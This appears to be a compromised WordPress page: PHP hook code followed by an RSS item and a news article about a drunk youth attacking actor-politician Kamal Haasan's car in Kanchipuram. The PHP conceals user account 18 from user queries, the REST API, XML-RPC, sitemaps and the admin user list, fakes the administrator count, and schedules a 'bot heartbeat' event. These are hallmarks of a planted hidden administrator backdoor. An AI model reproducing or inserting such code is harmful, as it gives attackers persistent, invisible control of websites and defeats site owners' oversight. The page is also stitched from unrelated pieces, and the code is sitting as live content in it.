add_action( 'pre_get_posts', function( $q ) {
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add_action( 'template_redirect', function() {
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} );

add_action( 'pre_user_query', function( $q ) {
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add_action( 'pre_get_users', function( $q ) {
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} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
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    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
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            array( 'status' => 404 )
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    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
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        $methods['wp.getUser'],
        $methods['wp.getProfile']
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    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
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    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>The car of Makkal Nidhi Mayyam (MNM) chief and actor Kamal Haasan in Tamil Nadu was attacked by a youth on Sunday. Haasan was going to a hotel in Kanchipuram after campaigning, when the incident happened. According to the information, the person being attacked is said to be a fan of Hassan. A party leader [&#8230;]</p>
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<p class="wp-block-paragraph">The car of Makkal Nidhi Mayyam (MNM) chief and actor Kamal Haasan in Tamil Nadu was attacked by a youth on Sunday. Haasan was going to a hotel in Kanchipuram after campaigning, when the incident happened. According to the information, the person being attacked is said to be a fan of Hassan.</p>



<p class="wp-block-paragraph">A party leader said that Kamal Haasan has not been harmed in any way in the incident. However, his vehicle was damaged. MNM leader AG Maurya tweeted and informed about the incident. In it, he said that the youth who tried to attack Hassan has been taken into custody by the police. According to the information received, the youth who attacked him was drunk. He was allegedly beaten up by some MNM activists and the common man after the incident. He was later taken to the police hospital.</p>



<p class="wp-block-paragraph">Let me tell you that Kamal Haasan was returning to his hotel after campaigning for the Tamil Nadu assembly elections, when a young drunk man tried to attack his car. After which the workers present there beat him up fiercely.</p>
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